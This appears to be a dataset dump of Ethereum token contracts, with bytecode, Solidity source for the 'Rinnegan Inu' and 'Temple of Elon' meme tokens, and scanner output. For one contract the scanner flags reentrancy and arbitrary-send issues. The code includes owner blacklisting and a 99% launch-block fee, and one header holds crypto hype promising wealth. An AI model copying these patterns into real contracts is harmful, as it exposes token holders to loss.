220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212203bc4f68270f14df230e4d10f85398e2ae2f9a92d1151418cc5b9856364043cd864736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 8,265 |
0x6118f4c4944991deb89c735d977bbb5f68c518d5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/*
- Telegram: https://t.me/RinneganInu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Rinnegan is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Rinnegan Inu";
string private constant _symbol = "RINNEGAN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[addr4] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[addr5] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 12;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 12;
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 1;
_feeAddr2 = 99;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
// .5%
_maxTxAmount = 1000000000000 * 10**9;
_maxWalletAmount = 2000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103af578063dd62ed3e146103c4578063e98391ff1461040a578063ec28438a1461042a578063f42938901461044a578063ffecf5161461045f57600080fd5b80638da5cb5b146102d657806395d89b41146102fe5780639a5904271461032f5780639b19251a1461034f578063a9059cbb1461036f578063bf6642e71461038f57600080fd5b806327a14fc21161010857806327a14fc214610230578063313ce5671461025057806351bc3c851461026c5780635932ead11461028157806370a08231146102a1578063715018a6146102c157600080fd5b806306fdde0314610150578063095ea7b31461019757806318160ddd146101c757806323b872dd146101ee578063273123b71461020e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b52696e6e6567616e20496e7560a01b60208201525b60405161018e9190611ab6565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611a09565b61047f565b604051901515815260200161018e565b3480156101d357600080fd5b5069152d02c7e14af68000005b60405190815260200161018e565b3480156101fa57600080fd5b506101b76102093660046119c8565b610496565b34801561021a57600080fd5b5061022e610229366004611955565b6104ff565b005b34801561023c57600080fd5b5061022e61024b366004611a6f565b610553565b34801561025c57600080fd5b506040516009815260200161018e565b34801561027857600080fd5b5061022e610591565b34801561028d57600080fd5b5061022e61029c366004611a35565b6105aa565b3480156102ad57600080fd5b506101e06102bc366004611955565b6105f2565b3480156102cd57600080fd5b5061022e610614565b3480156102e257600080fd5b506000546040516001600160a01b03909116815260200161018e565b34801561030a57600080fd5b506040805180820190915260088152672924a72722a3a0a760c11b6020820152610181565b34801561033b57600080fd5b5061022e61034a366004611955565b610688565b34801561035b57600080fd5b5061022e61036a366004611955565b6106d3565b34801561037b57600080fd5b506101b761038a366004611a09565b610721565b34801561039b57600080fd5b5061022e6103aa366004611a6f565b61072e565b3480156103bb57600080fd5b5061022e61075d565b3480156103d057600080fd5b506101e06103df36600461198f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041657600080fd5b5061022e610425366004611a35565b610b37565b34801561043657600080fd5b5061022e610445366004611a6f565b610b7f565b34801561045657600080fd5b5061022e610bbd565b34801561046b57600080fd5b5061022e61047a366004611955565b610bc7565b600061048c338484610c15565b5060015b92915050565b60006104a3848484610d39565b6104f584336104f085604051806060016040528060288152602001611c71602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611220565b610c15565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161052990611b0b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161052990611b0b565b61058b81633b9aca00611beb565b600d5550565b600061059c306105f2565b90506105a78161125a565b50565b6000546001600160a01b031633146105d45760405162461bcd60e51b815260040161052990611b0b565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610490906113e3565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161052990611b0b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260040161052990611b0b565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fd5760405162461bcd60e51b815260040161052990611b0b565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048c338484610d39565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161052990611b0b565b600c55565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161052990611b0b565b601354600160a01b900460ff16156107e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610529565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081f308269152d02c7e14af6800000610c15565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085857600080fd5b505afa15801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611972565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d857600080fd5b505afa1580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109109190611972565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109909190611972565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c0816105f2565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a719190611a88565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afb57600080fd5b505af1158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611a52565b5050565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161052990611b0b565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260040161052990611b0b565b610bb781633b9aca00611beb565b600a5550565b476105a781611467565b6000546001600160a01b03163314610bf15760405162461bcd60e51b815260040161052990611b0b565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610529565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610529565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610529565b6001600160a01b038216610dff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610529565b60008111610e615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610529565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9757506000546001600160a01b03838116911614155b8015610eac57506001600160a01b0383163014155b8015610ed157506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef657506001600160a01b03821660009081526005602052604090205460ff16155b15611205576001600160a01b03831660009081526006602052604090205460ff16158015610f3d57506001600160a01b03821660009081526006602052604090205460ff16155b610f4657600080fd5b6013546001600160a01b038481169116148015610f7157506012546001600160a01b03838116911614155b8015610f9657506001600160a01b03821660009081526005602052604090205460ff16155b8015610fab5750601354600160b81b900460ff165b156110e857600a548111156110025760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610529565b6001600160a01b038216600090815260076020526040902054421161105e5760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610529565b600d548161106b846105f2565b6110759190611bb1565b11156110c35760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610529565b6110ce42601e611bb1565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111357506012546001600160a01b03848116911614155b801561113857506001600160a01b03831660009081526005602052604090205460ff16155b15611148576001600e55600c600f555b43600b5460036111589190611bb1565b1015801561117357506013546001600160a01b038481169116145b15611183576001600e556063600f555b600061118e306105f2565b600c54909150811080159081906111af5750601354600160a81b900460ff16155b80156111c957506013546001600160a01b03868116911614155b80156111de5750601354600160b01b900460ff165b156111fe576111ec8261125a565b4780156111fc576111fc47611467565b505b5050611210565b6000600e819055600f555b61121b8383836114ec565b505050565b600081848411156112445760405162461bcd60e51b81526004016105299190611ab6565b5060006112518486611c0a565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a2576112a2611c37565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112f657600080fd5b505afa15801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e9190611972565b8160018151811061134157611341611c37565b6001600160a01b0392831660209182029290920101526012546113679130911684610c15565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a0908590600090869030904290600401611b40565b600060405180830381600087803b1580156113ba57600080fd5b505af11580156113ce573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600060085482111561144a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610529565b60006114546114f7565b9050611460838261151a565b9392505050565b6010546001600160a01b03166108fc61148183600261151a565b6040518115909202916000818181858888f193505050501580156114a9573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114c483600261151a565b6040518115909202916000818181858888f19350505050158015610b33573d6000803e3d6000fd5b61121b83838361155c565b6000806000611504611653565b9092509050611513828261151a565b9250505090565b600061146083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611697565b60008060008060008061156e876116c5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115a09087611722565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115cf9086611764565b6001600160a01b0389166000908152600260205260409020556115f1816117c3565b6115fb848361180d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161164091815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af6800000611670828261151a565b82101561168e5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116b85760405162461bcd60e51b81526004016105299190611ab6565b5060006112518486611bc9565b60008060008060008060008060006116e28a600e54600f54611831565b92509250925060006116f26114f7565b905060008060006117058e878787611886565b919e509c509a509598509396509194505050505091939550919395565b600061146083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611220565b6000806117718385611bb1565b9050838110156114605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610529565b60006117cd6114f7565b905060006117db83836118d6565b306000908152600260205260409020549091506117f89082611764565b30600090815260026020526040902055505050565b60085461181a9083611722565b60085560095461182a9082611764565b6009555050565b600080808061184b606461184589896118d6565b9061151a565b9050600061185e60646118458a896118d6565b90506000611876826118708b86611722565b90611722565b9992985090965090945050505050565b600080808061189588866118d6565b905060006118a388876118d6565b905060006118b188886118d6565b905060006118c3826118708686611722565b939b939a50919850919650505050505050565b6000826118e557506000610490565b60006118f18385611beb565b9050826118fe8583611bc9565b146114605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610529565b60006020828403121561196757600080fd5b813561146081611c4d565b60006020828403121561198457600080fd5b815161146081611c4d565b600080604083850312156119a257600080fd5b82356119ad81611c4d565b915060208301356119bd81611c4d565b809150509250929050565b6000806000606084860312156119dd57600080fd5b83356119e881611c4d565b925060208401356119f881611c4d565b929592945050506040919091013590565b60008060408385031215611a1c57600080fd5b8235611a2781611c4d565b946020939093013593505050565b600060208284031215611a4757600080fd5b813561146081611c62565b600060208284031215611a6457600080fd5b815161146081611c62565b600060208284031215611a8157600080fd5b5035919050565b600080600060608486031215611a9d57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611ae357858101830151858201604001528201611ac7565b81811115611af5576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b905784516001600160a01b031683529383019391830191600101611b6b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bc457611bc4611c21565b500190565b600082611be657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c0557611c05611c21565b500290565b600082821015611c1c57611c1c611c21565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105a757600080fd5b80151581146105a757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220078ac9f5099a4aabf51a79f223b72439f025775adba96e0a864d5eebeecc4f7d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,266 |
0xcf423b8ddfe1d6b8b8ce0e5fdbf2136996fec3c0
|
// SPDX-License-Identifier: UNLICENSED
/*
https://t.me/templeofelon
Temple of Elon
The difference between gods and mortals is basically equal to the difference between the great Elon and man.
While the great gods of the pantheon were worshiped by priests at rituals in cultic centers,
the great god of the Tesla is worshiped by us on Twitter and cryptoworld.
Ancient mortals used to have no direct contact with their deities while contemporary people can easily receive oracles from the great Elon.
Ancient mortals worshiped personal gods, who were thought to be deities who could intercede on their behalf to ensure health and protection for their families;
while contemporary people worship Elon believing that he could protect us from scammers and earn profit in the crypto world.
All crypto buyers should devoutly praise the words of Elon. May the great Elon assuage the spirit of his followers and crypto holders.
May it soothe their hearts, bring wealth to his people.
https://t.me/templeofelon
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TempleOfElon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Temple Of Elon";
string private constant _symbol = "TEMPLE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxBuyAmount = _tTotal;
